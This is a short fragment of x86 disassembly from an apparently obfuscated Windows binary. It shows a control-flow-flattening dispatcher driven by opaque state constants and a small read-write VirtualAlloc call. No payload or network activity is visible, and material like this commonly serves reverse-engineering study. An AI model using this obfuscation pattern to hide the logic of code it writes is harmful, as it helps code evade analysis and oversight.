mov dword [ebp - 0x18c], 0xbd88c877
jmp 0x1000c479
movss xmm0, dword [0x100191bc]
movss dword [ebp - 0x140], xmm0
movss xmm0, dword [0x100191b8]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x18c], 0xc0f4cb2c
jmp 0x1000c479
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x18c], 0x39c22f73
jmp 0x1000c479
mov dword [ebp - 0x18c], 0xd1ff0b46
jmp 0x1000c479
mov dword [ebp - 0x18c], 0xf0da4e64
jmp 0x1000c479
jmp 0x10002de0